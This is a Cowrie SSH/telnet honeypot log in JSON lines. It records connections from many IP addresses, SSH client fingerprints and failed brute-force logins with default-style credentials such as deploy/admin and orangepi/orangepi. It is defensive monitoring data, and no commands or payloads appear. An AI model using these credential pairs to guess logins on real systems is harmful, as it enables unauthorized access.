{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":13748,"dst_ip":"159.203.135.109","dst_port":22,"session":"b53aa615bcdc","protocol":"ssh","message":"New connection: 211.106.133.202:13748 (159.203.135.109:22) [session: b53aa615bcdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:50.742621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:50.747504Z","src_ip":"211.106.133.202","session":"b53aa615bcdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:50.958539Z","src_ip":"211.106.133.202","session":"b53aa615bcdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"export","password":"123","message":"login attempt [export/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:51.824566Z","src_ip":"211.106.133.202","session":"b53aa615bcdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:53.035244Z","src_ip":"211.106.133.202","session":"b53aa615bcdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"43f496b280be","protocol":"ssh","message":"New connection: 103.59.94.61:50880 (159.203.135.109:22) [session: 43f496b280be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:24.965780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:24.970172Z","src_ip":"103.59.94.61","session":"43f496b280be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:25.221558Z","src_ip":"103.59.94.61","session":"43f496b280be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"craft","password":"craft@123456","message":"login attempt [craft/craft@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:26.258918Z","src_ip":"103.59.94.61","session":"43f496b280be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:27.513181Z","src_ip":"103.59.94.61","session":"43f496b280be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59632,"dst_ip":"10.17.0.5","dst_port":22,"session":"96657c451a43","protocol":"ssh","message":"New connection: 2.57.122.208:59632 (10.17.0.5:22) [session: 96657c451a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:59.817893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:59.859895Z","src_ip":"2.57.122.208","session":"96657c451a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:31:59.957026Z","src_ip":"2.57.122.208","session":"96657c451a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:00.385516Z","src_ip":"2.57.122.208","session":"96657c451a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:01.519048Z","src_ip":"2.57.122.208","session":"96657c451a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.57","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"b922a22a85e8","protocol":"telnet","message":"New connection: 85.217.149.57:49746 (159.203.135.109:23) [session: b922a22a85e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:02.696205Z"}
{"eventid":"cowrie.login.failed","username":"'GET / HTTP/1.1","password":"Host: bbb.ccc","message":"login attempt ['GET / HTTP/1.1/Host: bbb.ccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:02.701340Z","src_ip":"85.217.149.57","session":"b922a22a85e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.034488677978515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:02.730572Z","src_ip":"85.217.149.57","session":"b922a22a85e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":8402,"dst_ip":"159.203.135.109","dst_port":22,"session":"56cef4072730","protocol":"ssh","message":"New connection: 107.150.103.210:8402 (159.203.135.109:22) [session: 56cef4072730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:31.090163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:31.094518Z","src_ip":"107.150.103.210","session":"56cef4072730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:31.160524Z","src_ip":"107.150.103.210","session":"56cef4072730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:31.460222Z","src_ip":"107.150.103.210","session":"56cef4072730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:32.529886Z","src_ip":"107.150.103.210","session":"56cef4072730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.252.231.122","src_port":49574,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd78487f50e3","protocol":"ssh","message":"New connection: 43.252.231.122:49574 (159.203.135.109:22) [session: fd78487f50e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:36.376636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:36.381141Z","src_ip":"43.252.231.122","session":"fd78487f50e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:36.583505Z","src_ip":"43.252.231.122","session":"fd78487f50e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"orangepi","message":"login attempt [orangepi/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:37.000989Z","src_ip":"43.252.231.122","session":"fd78487f50e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":35220,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c2383d86ba","protocol":"ssh","message":"New connection: 20.244.18.126:35220 (159.203.135.109:22) [session: 67c2383d86ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:37.678688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:37.684019Z","src_ip":"20.244.18.126","session":"67c2383d86ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:37.884107Z","src_ip":"20.244.18.126","session":"67c2383d86ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:38.206447Z","src_ip":"43.252.231.122","session":"fd78487f50e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:38.714508Z","src_ip":"20.244.18.126","session":"67c2383d86ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:39.916342Z","src_ip":"20.244.18.126","session":"67c2383d86ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":24366,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca782ddbea9c","protocol":"ssh","message":"New connection: 211.106.133.202:24366 (159.203.135.109:22) [session: ca782ddbea9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:52.407152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:52.411439Z","src_ip":"211.106.133.202","session":"ca782ddbea9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:52.623214Z","src_ip":"211.106.133.202","session":"ca782ddbea9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":59086,"dst_ip":"159.203.135.109","dst_port":22,"session":"3672ebdfef6f","protocol":"ssh","message":"New connection: 182.52.236.235:59086 (159.203.135.109:22) [session: 3672ebdfef6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:53.089104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:53.092896Z","src_ip":"182.52.236.235","session":"3672ebdfef6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:53.334562Z","src_ip":"182.52.236.235","session":"3672ebdfef6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"Andy","message":"login attempt [andy/Andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:53.493096Z","src_ip":"211.106.133.202","session":"ca782ddbea9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"smbuser2025","message":"login attempt [smbuser/smbuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:54.334077Z","src_ip":"182.52.236.235","session":"3672ebdfef6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:54.705926Z","src_ip":"211.106.133.202","session":"ca782ddbea9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:32:55.578195Z","src_ip":"182.52.236.235","session":"3672ebdfef6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":58416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1209696432cc","protocol":"ssh","message":"New connection: 64.176.195.200:58416 (10.17.0.5:22) [session: 1209696432cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:08.555015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:33:08.560051Z","src_ip":"64.176.195.200","session":"1209696432cc","protocol":"ssh"}
